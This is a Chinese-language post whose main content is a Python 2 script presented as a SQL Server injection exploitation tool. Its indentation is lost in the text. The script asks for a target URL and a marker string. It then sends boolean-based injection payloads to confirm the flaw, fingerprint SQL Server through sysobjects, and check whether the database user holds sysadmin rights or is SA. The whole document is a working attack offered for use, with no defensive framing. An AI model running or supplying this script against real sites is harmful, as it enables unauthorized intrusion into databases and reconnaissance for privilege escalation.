Python編寫檢測數據庫SA用戶的方法

# Code by zhaoxiaobu Email: little.bu@hotmail.com 
#-*- coding: UTF-8 -*- 
from sys import exit 
from urllib import urlopen 
from string import join,strip 
from re import search 
 
def is_sqlable(): 
 sql1="%20and%201=2" 
 sql2="%20and%201=1" 
 urlfile1=urlopen(url+sql1) 
 urlfile2=urlopen(url+sql2) 
 htmlcodes1=urlfile1.read() 
 htmlcodes2=urlfile2.read() 
 if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
 print "[信息]恭喜!這個URL是有注入漏洞的!n" 
 print "[信息]現在判斷數據庫是否是SQL Server,請耐心等候....." 
 is_SQLServer() 
 else: 
 print "[錯誤]你確定這個URL能用?換個別的試試吧!n"

def is_SQLServer(): 
 sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
 urlfile=urlopen(url+sql) 
 htmlcodes=urlfile.read() 
 if not search(judge,htmlcodes): 
 print "[錯誤]數據庫好像不是SQL Server的!n" 
 else: 
 print "[信息]確認是SQL Server數據庫!n" 
 print "[信息]開始檢測當前數據庫用戶權限,請耐心等待......" 
 is_sysadmin() 
 
 
def is_sysadmin(): 
 sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
 urlfile = urlopen(url+sql) 
 htmlcodes = urlfile.read() 
 if not search(judge,htmlcodes): 
 print "[錯誤]當前數據庫用戶不具有sysadmin權限!n" 
 else: 
 print "[信息]當前數據庫用戶具有sysadmin權限!n" 
 print "[信息]檢測當前用戶是不是SA,請耐心等待......" 
 is_sa() 
 
def is_sa(): 
 sql = "%20and%20'sa'=(select%20System_user)"; 
 urlfile = urlopen(url+sql) 
 htmlcodes = urlfile.read() 
 if not search(judge,htmlcodes): 
 print "[錯誤]當前數據庫用戶不是SA!n" 
 else: 
 print "[信息]當前數據庫用戶是SA!n" 
 
print "n########################################################################n" 
print " ^o^SQL Server注入利用工具^o^ " 
print " Email: little.bu@hotmail.comn" 
print "========================================================================"; 
url = raw_input('[信息]請輸入一個可能有注入漏洞的鏈接!nURL:') 
if url == '': 
 print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式" 
 exit(1) 
 
judge = raw_input("[信息]請提供一個判斷字符串.n判斷字符串:") 
if judge == '': 
 print "[錯誤]判斷字符串不能為空!" 
 exit(1) 
 
is_sqlable()